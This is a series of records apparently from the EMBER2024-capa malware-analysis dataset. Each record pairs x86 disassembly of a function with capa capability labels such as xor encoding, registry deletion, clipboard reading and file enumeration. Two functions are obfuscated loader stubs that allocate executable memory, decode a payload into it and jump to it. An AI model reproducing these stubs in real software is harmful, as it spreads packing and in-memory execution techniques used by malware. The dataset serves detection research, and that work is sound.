joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401443
pop dword [ebp - 0x18]
mov eax, 0xbe79924a
add eax, 0x41c681f9
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xb9976d9f
add dword [ebp - 0x28], 0x94bad7ac
mov dword [ebp - 0x24], 0x186bff4e
add dword [ebp - 0x24], 0x19c74cf7
mov dword [ebp - 0x20], 0xc7166a93
add dword [ebp - 0x20], 0x8535d99b
mov dword [ebp - 0x1c], 0x6a4a6568
add dword [ebp - 0x1c], 0x95b59a98
lea eax, [ebp - 0x28]
push eax
mov eax, 0xd39bd1a3
add eax, 0x2ca4af61
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x10f79cb9
add dword [ebp - 0x28], 0x637acc9d
mov dword [ebp - 0x24], 0x3ee74b3e
sub dword [ebp - 0x24], 0xfd7ae9c9
mov dword [ebp - 0x20], 0x7619c7ed
add dword [ebp - 0x20], 0xed55a47f
mov dword [ebp - 0x1c], 0x92f3ae04
sub dword [ebp - 0x1c], 0x92f3ae04
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x366e6
push 0
call eax
mov ecx, 0x75d5c5be
sub ecx, 0x75d5852e
mov edi, eax
mov ebx, 0xdca83833
add ebx, 0x239eabcd
add ebx, dword [ebp - 0x18]
mov esi, 0xed2ccd54
add dword [ebp - 0x10], edi
mov edx, dword [ebx]
add dword [ebp - 0xc], 0xbf3ab0be
add edx, esi
xor dword [ebp - 4], ecx
mov dword [edi], edx
mov dword [ebp - 0x10], 0xf821889
add edi, 0x23316e4e
sub edi, 0x23316e4a
add ebx, 0xf79e16fa
sub ebx, 0xf79e16f6
loop 0x40155a
add eax, 0xf513
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x35ec8ce5
add ecx, 0xca53731b
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x40a2bd
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonSize], eax
call fcn.00407d10
pop ecx
mov ecx, dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonSize]
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40a2f5
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestEnumTypeTraits.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x10019630
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100d8b80]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax + 0x38], 0
je 0x10019657
mov ecx, dword [ebp - 0x30]
movzx edx, byte [ecx + 0x3d]
test edx, edx
jne 0x1001965e
mov al, 1
jmp 0x1001974b
mov eax, dword [ebp - 0x30]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x44], edx
call fcn.10019d00
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
call dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
call fcn.10019d00
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
call fcn.10019d10
add esp, 8
movzx eax, al
test eax, eax
je 0x100196a4
xor al, al
jmp 0x1001974b
mov dword [ebp - 0x54], 0x20
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x38]
mov dword [ebp - 0x50], edx
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x30]
add eax, 0x40
push eax
mov ecx, dword [ebp - 0x50]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x100196e7
cmp dword [ebp - 0x34], 1
je 0x100196ee
cmp dword [ebp - 0x34], 3
je 0x1001973e
jmp 0x10019749
mov ecx, dword [ebp - 0x30]
mov byte [ecx + 0x3d], 0
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x28]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x1001971e
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x4c]
push edx
mov eax, dword [ebp - 0x38]
push eax
push 1
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x1001971e
xor al, al
jmp 0x1001974b
mov edx, dword [ebp - 0x30]
movzx eax, byte [edx + 0x3d]
test eax, eax
jne 0x10019732
mov dword [ebp - 0x3c], 1
jmp 0x10019739
mov dword [ebp - 0x3c], 0
mov al, byte [ebp - 0x3c]
jmp 0x1001974b
mov ecx, dword [ebp - 0x30]
mov byte [ecx + 0x3d], 0
mov al, 1
jmp 0x1001974b
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007a885
mov esp, ebp
pop ebp
ret
Function at 0x1001aa90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x38], 0
je 0x1001aabc
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x1001aba2
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edx
cmp dword [ebp + 0x10], 0
jl 0x1001ab53
jg 0x1001aae5
cmp dword [ebp + 0xc], 0
jbe 0x1001ab53
cmp dword [ebp - 8], 0
jl 0x1001ab53
jg 0x1001aaf3
cmp dword [ebp - 0xc], 0
jbe 0x1001ab53
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp - 8]
jg 0x1001ab11
jl 0x1001ab05
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0xc]
jae 0x1001ab11
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push eax
call fcn.10019ca0
add esp, 0xc
mov eax, dword [ebp - 0xc]
add eax, dword [ebp + 8]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
sbb edx, dword [ebp - 8]
mov dword [ebp + 0xc], ecx
mov dword [ebp + 0x10], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
cmp dword [ebp + 0x10], 0
jl 0x1001ab96
jg 0x1001ab61
cmp dword [ebp + 0xc], 0
jbe 0x1001ab96
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x4c], 0
je 0x1001ab96
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
xor ecx, ecx
mov edx, dword [ebp + 0xc]
sub edx, eax
mov eax, dword [ebp + 0x10]
sbb eax, ecx
mov dword [ebp + 0xc], edx
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
sbb edx, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100293c0
Capabilities:
Create thread
Set console window title

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x10029469
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0x1008feb4
push str.CONIN_
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0xc
push 1
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0x1008fec0
push 0x1008fec4
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0xc
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0x1008fecc
push str.CONOUT_
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
add esp, 0xc
push 0x1008fed8
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0x10029300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
pop ebp
ret 0xc
Function at 0x10038a80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0xc], ecx
push 0x100951e4
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10038aab
xor al, al
jmp 0x10038c2b
push 2
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10038ad9
xor al, al
jmp 0x10038c2b
mov dword [ebp - 0x10], 0
cmp dword [ebp + 0xc], 2
je 0x10038aec
cmp dword [ebp + 0xc], 1
jne 0x10038af3
mov dword [ebp - 0x10], 2
cmp dword [ebp + 0xc], 0
jne 0x10038b00
mov dword [ebp - 0x10], 1
cmp dword [ebp + 0xc], 4
je 0x10038b0c
cmp dword [ebp + 0xc], 3
jne 0x10038b13
mov dword [ebp - 0x10], 4
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x10]
push eax
call fcn.1007a97f
add esp, 4
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 4], ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
push 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, dword [ebp - 0x14]
je 0x10038b8d
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.1007a988
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x10038b79
mov dword [ebp - 0x28], 0
jmp 0x10038b86
mov dword [ebp - 4], 0x8123
mov edx, dword [ebp - 4]
mov dword [ebp - 0x28], edx
xor al, al
jmp 0x10038c2b
mov dword [ebp - 0x18], 0
jmp 0x10038b9f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jae 0x10038bb6
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov byte [eax + edx], 0
jmp 0x10038b96
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
call fcn.10037970
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.1007a988
add esp, 4
cmp dword [ebp - 0x20], 0
jne 0x10038bf4
mov dword [ebp - 0x2c], 0
jmp 0x10038c01
mov dword [ebp - 4], 0x8123
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x28]
push edx
mov ecx, dword [ebp - 0xc]
call fcn.1003ca30
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0x2c], eax
mov edx, dword [ebp - 0xc]
cmp dword [edx + 0x2c], 0
jne 0x10038c23
xor al, al
jmp 0x10038c2b
mov ecx, dword [ebp - 0xc]
call fcn.10038fa0
mov esp, ebp
pop ebp
ret 8
Function at 0x100407e0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007e209
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x100d8b80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [0x102d3fa4]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov eax, dword [0x100dbfe8]
cmp eax, dword [edx + 4]
jle 0x1004088e
push 0x100dbfe8
call fcn.1007a821
add esp, 4
cmp dword [0x100dbfe8], 0xffffffff
jne 0x1004088e
mov dword [ebp - 4], 0
push str.55_8B_EC_83_E4_F8_83_EC_08_F3_0F_11_54_24___85_D2
lea ecx, [ebp - 0x40]
call fcn.10017e60
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
push ecx
push 0x1011de40
call fcn.10065560
add esp, 8
mov dword [0x100dbfe4], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.100181c0
mov dword [ebp - 4], 0xffffffff
push 0x100dbfe8
call fcn.1007a7d0
add esp, 4
xorps xmm0, xmm0
movss dword [ebp - 0x14], xmm0
mov ecx, dword [ebp - 0x1c]
call fcn.1003d430
mov dword [ebp - 0x18], eax
pushal
movss xmm2, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
call dword [0x100dbfe4]
pop eax
popal
movss xmm0, dword [ebp - 0x14]
movss dword [ebp - 0x28], xmm0
mov ecx, dword [ebp - 0x1c]
call fcn.1003f4e0
mov dword [ebp - 0x24], eax
mov edx, dword [ebp + 8]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
call fcn.1000e9e0
movss xmm0, dword [ebp - 0x28]
movss dword [eax], xmm0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007a885
mov esp, ebp
pop ebp
ret 8

Function at 0x10041030
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 8]
mov dword [edx + ecx], 0x67452301
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0xefcdab89
mov edx, 4
shl edx, 1
mov eax, dword [ebp + 8]
mov dword [eax + edx], 0x98badcfe
mov ecx, 4
imul edx, ecx, 3
mov eax, dword [ebp + 8]
mov dword [eax + edx], 0x10325476
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx + 0x10], 0
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 0x10], 0
pop ebp
ret
Function at 0x10054880
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x24], ecx
push 2
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x100548ad
mov eax, 0xfffffffd
jmp 0x100549ab
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jge 0x100548cd
mov eax, 0xfffffffd
jmp 0x100549ab
cmp dword [ebp - 8], 0
jne 0x100548da
xor eax, eax
jmp 0x100549ab
mov edx, dword [ebp - 8]
push edx
call fcn.1007a97f
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100548ff
mov eax, 0xfffffffe
jmp 0x100549ab
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 8]
je 0x10054967
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1007a988
add esp, 4
cmp dword [ebp - 0xc], 0
jne 0x10054953
mov dword [ebp - 0x20], 0
jmp 0x10054960
mov dword [ebp - 4], 0x8123
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, 0xfffffffd
jmp 0x100549ab
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x24]
call fcn.10054650
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.1007a988
add esp, 4
cmp dword [ebp - 0x14], 0
jne 0x1005499b
mov dword [ebp - 0x28], 0
jmp 0x100549a8
mov dword [ebp - 4], 0x8123
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x2c]
mov esp, ebp
pop ebp
ret 4
Function at 0x1005b6a0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007fe3d
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100d8b80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0
lea ecx, [ebp - 0x28]
call fcn.10017ee0
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1005b71b
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push eax
lea ecx, [ebp - 0x28]
call fcn.100223c0
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea edx, [ebp - 0x28]
push edx
mov ecx, dword [ebp + 8]
call fcn.100203e0
mov eax, dword [ebp - 0x30]
or eax, 1
mov dword [ebp - 0x30], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.100181c0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007a885
mov esp, ebp
pop ebp
ret 4
Function at 0x1005b760
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007fe98
mov eax, dword fs:[0]
push eax
sub esp, 0x1c4
mov eax, dword [0x100d8b80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x102cc520
call fcn.10060760
push 0x10098f5c
lea eax, [ebp - 0x1d0]
push eax
call fcn.1005b990
add esp, 4
mov dword [ebp - 0x1a4], eax
mov ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a8], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1a8]
push edx
lea eax, [ebp - 0x58]
push eax
call fcn.1001f3d0
add esp, 0xc
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1d0]
call fcn.100181c0
mov dword [ebp - 0x19c], 0
lea ecx, [ebp - 0x198]
push ecx
lea ecx, [ebp - 0x58]
call fcn.10019cc0
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xffffffff
je 0x1005b968
lea edx, [ebp - 0x16c]
push edx
lea ecx, [ebp - 0x28]
call fcn.10017e60
mov byte [ebp - 4], 3
push 0x10098f60
lea eax, [ebp - 0x28]
push eax
call fcn.100316f0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x1005b853
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.100181c0
jmp 0x1005b93f
push 0x10098f64
lea edx, [ebp - 0x28]
push edx
call fcn.100316f0
add esp, 8
movzx eax, al
test eax, eax
je 0x1005b87c
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.100181c0
jmp 0x1005b93f
mov ecx, dword [ebp - 0x198]
and ecx, 0x10
jne 0x1005b933
push 0
push 0x10098f68
lea ecx, [ebp - 0x28]
call fcn.1002cbb0
cmp eax, 0xffffffff
je 0x1005b933
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x40]
call fcn.10022180
mov byte [ebp - 4], 4
push 0
lea ecx, [ebp - 0x28]
call fcn.1001a4f0
sub eax, 5
push eax
lea ecx, [ebp - 0x40]
call fcn.1002cd20
lea eax, [ebp - 0x1b4]
push eax
call fcn.10057780
add esp, 4
mov ecx, dword [eax]
mov dword [ebp - 0x1ac], ecx
mov edx, dword [ebp - 0x19c]
mov dword [ebp - 0x1b0], edx
mov eax, dword [ebp - 0x19c]
add eax, 1
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x1ac]
push ecx
mov edx, dword [ebp - 0x1b0]
push edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1b8], esp
lea eax, [ebp - 0x40]
push eax
call fcn.10022180
mov ecx, 0x102cc520
call fcn.1005b300
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x40]
call fcn.100181c0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.100181c0
lea ecx, [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x1a0]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1005b817
mov eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x58]
call fcn.100181c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007a885
mov esp, ebp
pop ebp
ret
Function at 0x1007a990
Capabilities:
Terminate process

Disassembly:
cmp dword [0x102d42c8], 6
jl 0x1007a9af
vbroadcastss xmm0, xmm0
vcvttps2qq xmm0, xmm0
vmovd eax, xmm0
vpextrd edx, xmm0, 1
ret
movd eax, xmm0
cdq
shl eax, 1
cmp eax, 0x9e000000
jae 0x1007a9c3
cvttss2si eax, xmm0
cdq
ret
cmp eax, 0xbe000000
jae 0x1007a9e3
mov ecx, eax
bts eax, 0x18
shr ecx, 0x18
shl eax, 7
sub cl, 0xbe
xor eax, edx
sub eax, edx
shld edx, eax, cl
shl eax, cl
ret
jne 0x1007a9e9
test edx, edx
js 0x1007a9f1
cvttss2si ecx, dword [0x100a2008]
mov edx, 0x80000000
xor eax, eax
ret
Function at 0x10016a9a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10016aa9
pop dword [ebp - 0x38]
mov eax, 0xfffa444f
sub eax, 0xeff8d9a6
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x34dbc
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x35c3
mov edi, eax
mov ebx, 0x1002b600
add ebx, dword [ebp - 0x38]
mov esi, 0x426a4af5
mov dword [ebp - 0x14], 0x2cb1b95c
mov edx, dword [ebx]
sub dword [ebp - 0x28], 0xe8d6bf5a
add edx, esi
xor dword [ebp - 0x30], edx
mov dword [edi], edx
sub dword [ebp - 0xc], ebx
add edi, 4
add ebx, 0xcb4411e4
sub ebx, 0xcb4411e0
loop 0x10016af1
add eax, 0x8895573c
add eax, 0x776b72a3
mov ebx, eax
add eax, 0xded23d06
sub eax, 0xded23d01
mov ecx, 0xacda480
add ecx, 0x5325b80
add ecx, dword [ebp - 0x38]
call ebx
leave
ret